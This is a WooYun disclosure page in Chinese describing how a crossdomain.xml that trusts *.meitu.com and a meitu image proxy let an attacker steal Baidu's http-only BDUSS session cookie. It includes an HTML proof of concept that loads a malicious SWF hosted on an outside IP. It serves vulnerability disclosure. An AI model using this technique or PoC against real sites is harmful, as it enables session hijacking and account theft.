当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-072951

漏洞标题：我是如何窃取到百度受http-only保护的cookie的(3)(附简单POC)

相关厂商：百度

漏洞作者： 超威蓝猫

提交时间：2014-08-18 19:50

修复时间：2014-10-02 19:52

公开时间：2014-10-02 19:52

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-18： 细节已通知厂商并且等待厂商处理中
2014-08-19： 厂商已经确认，细节仅向厂商公开
2014-08-29： 细节向核心白帽子及相关领域专家公开
2014-09-08： 细节向普通白帽子公开
2014-09-18： 细节向实习白帽子公开
2014-10-02： 细节向公众公开

简要描述：

前情回顾:
(1)测试后台对外 http://wooyun.org/bugs/wooyun-2014-072520
(2)OAuth接口处理不当 http://wooyun.org/bugs/wooyun-2010-051705
(3)合作伙伴惹的祸..

详细说明：

看到百度WEB前端研发部15号发的一篇文章 http://fex.baidu.com/blog/2014/08/sensitive-data-sniffer/ 里面提到了几处BDUSS输出在源码中的点 三天之后看了看 zhidao.baidu.com 这处居然还没有修复，真的这么自信同域下不会产XSS吗.. (好吧我确实没有挖掘到zhidao.baidu.com下的XSS
我们来看看 http://zhidao.baidu.com/crossdomain.xml

sshot-2014-08-18-[1].png

天辣！居然有 *.meitu.com ，不禁让我想起了m神发过的 http://wooyun.org/bugs/wooyun-2014-062461
这意味着 我们只要能在 *.meitu.com 下找到一处能返回特定内容的接口 就可以在zhidao.baidu.com域下执行恶意代码
这并不是一件难事
http://xiuxiu.web.meitu.com/decorate/doodle/?utm_source=xiuxiuweb&utm_medium=banner&utm_campaign=doodle

sshot-2014-08-18-[2].png


sshot-2014-08-18-[3].png


sshot-2014-08-18-[4].png


得到接口: http://xiuxiu.web.meitu.com/plat/pic_proxy.php?url=SWF文件地址
于是参考 http://wooyun.org/bugs/wooyun-2014-062461 构造一个html和swf
html源码如下:

<html>
<head><title>csrftest</title>
<script>
function sendToJavaScript(strData){
    var theDiv = document.getElementById("HijackedData");
    var content = document.createTextNode(strData);
    theDiv.appendChild(content);
    theDiv.innerHTML += '<br/>'
    //alert(strData);
}
</script>
</head>
<body>
<div id=HijackedData></div>
<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://xiuxiu.web.meitu.com/plat/pic_proxy.php?url=http://162.211.226.60/test/test.jpg">
<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://zhidao.baidu.com">
</object>
</body>
</html>


简单POC: http://162.211.226.60/test/
哈哈, BDUSS又测漏了吧

sshot-2014-08-18-[5].png

漏洞证明：

如上
危害不仅仅是读源码这么简单哦，参考:
《腾讯某分站可上传任意swf文件导致的一系列问题（附简单POC）》http://wooyun.org/bugs/wooyun-2014-062461
《上传文件的陷阱》http://drops.wooyun.org/tips/2031
《上传文件的陷阱II 纯数字字母的swf是漏洞么?》http://drops.wooyun.org/tips/2554

修复方案：

求礼物 :S

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-08-19 19:11

厂商回复：

感谢提交，我们立即联系业务部门处理此问题。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-08-18 19:52 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    这就是你的大新闻？

  2. 2014-08-18 19:59 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    小气涛吃大便

  3. 2014-08-18 20:01 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @魇 辣鸡晖持积极

  4. 2014-08-19 10:07 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    @魇 [yǎn] 梦中惊叫，或觉得有什么东西压住不能动弹：梦～。～住了。迷惑：“被妖术～住，不能行走，心上明白……”